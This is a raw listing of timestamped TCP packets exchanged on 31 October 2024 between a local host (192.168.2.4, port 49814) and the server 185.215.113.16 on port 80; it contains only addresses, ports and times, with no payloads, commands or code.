Oct 31, 2024 04:16:09.881613970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881623030 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881637096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881645918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881676912 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881829977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881844997 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881859064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881874084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881881952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881881952 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881889105 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881906033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881910086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881926060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881927967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881949902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881951094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881966114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.881967068 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881983995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.881988049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882002115 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882008076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882018089 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882039070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882071972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882092953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882107973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882117987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882122993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882126093 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882138968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882147074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882154942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882155895 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882172108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882178068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882185936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882194042 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882200003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882201910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882217884 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882225990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882225990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882251024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882580996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882615089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882632017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882637978 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882646084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882652044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882661104 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882663012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882678032 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882683992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882693052 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882693052 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882710934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882716894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882730007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882746935 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882749081 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882762909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882776976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882797003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882797003 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882805109 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882810116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882821083 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882837057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882853031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882858992 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882884026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882891893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882908106 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882922888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882925987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882941008 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882950068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882971048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.882972002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.882987022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883002043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883003950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883018017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883024931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883033991 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883033991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883053064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883053064 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883069038 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883070946 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883090019 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883094072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883109093 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883110046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883126974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883128881 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883142948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883142948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883161068 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883162975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883176088 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883178949 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883196115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883204937 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883210897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883229017 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883244991 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883254051 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883265018 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883268118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883286953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883292913 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883300066 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883311033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883322001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883326054 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883341074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883342028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883358955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883363962 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883374929 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883383036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883388996 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883399963 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883405924 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883410931 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883445024 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883496046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883512020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883527994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883543015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883553028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883558035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883573055 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883580923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883589029 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883596897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883604050 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883619070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883619070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883625984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883646965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883668900 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.883682013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.883703947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.950712919 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950737953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950753927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950789928 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.950828075 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.950870991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950886011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950911999 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950915098 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.950928926 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.950934887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950947046 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.950963020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950985909 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.950997114 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951001883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951020002 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951025009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951040983 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951045990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951062918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951070070 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951364994 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951380014 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951395988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951407909 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951417923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951451063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951467037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951473951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951482058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951493979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951497078 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951505899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951519012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951534986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951577902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951594114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951607943 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951632977 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951642990 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951658010 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951661110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951673985 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951682091 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951689005 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951697111 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951714039 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951714993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951745033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951745033 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951761961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951764107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951782942 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951786041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951802015 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951802015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951845884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951845884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951875925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951895952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951917887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951917887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951934099 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951941013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951951981 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951968908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951981068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.951986074 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.951992989 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952002048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952033043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952044010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952048063 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952063084 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952073097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952097893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952147007 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952188015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952202082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952217102 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952250004 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952255964 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952269077 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952275038 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952310085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952312946 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952327013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952348948 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952351093 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952367067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952368021 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952383041 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952404022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952404022 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952419043 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952461004 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952483892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952498913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952513933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952516079 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952538967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952542067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952542067 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952555895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952563047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952565908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952579975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952594042 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952603102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952609062 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952625036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952631950 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952640057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952658892 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952683926 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952697992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952735901 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952748060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952763081 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952795029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952863932 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952878952 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952893019 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.952924013 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.952949047 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.996895075 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.996927977 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.996943951 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.996969938 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.996998072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997035027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997051001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997066021 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997081995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997092009 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997097969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997114897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997136116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997180939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997195959 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997210979 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997226000 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997226000 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997241974 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997251987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997257948 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997267008 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997297049 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997387886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997401953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997459888 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997508049 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997523069 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997550011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997550011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997574091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997574091 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997590065 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997594118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997603893 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997605085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997627974 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997639894 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997653961 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997668982 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997690916 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997700930 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997704029 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997716904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997741938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997755051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997756958 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997773886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997776985 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997797012 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997812986 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997829914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997845888 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997859001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997874975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997878075 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997898102 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997925997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.997960091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997975111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.997989893 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998003960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998004913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:09.998012066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998032093 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:09.998049021 CET	80	49814	185.215.113.16	192.168.2.4
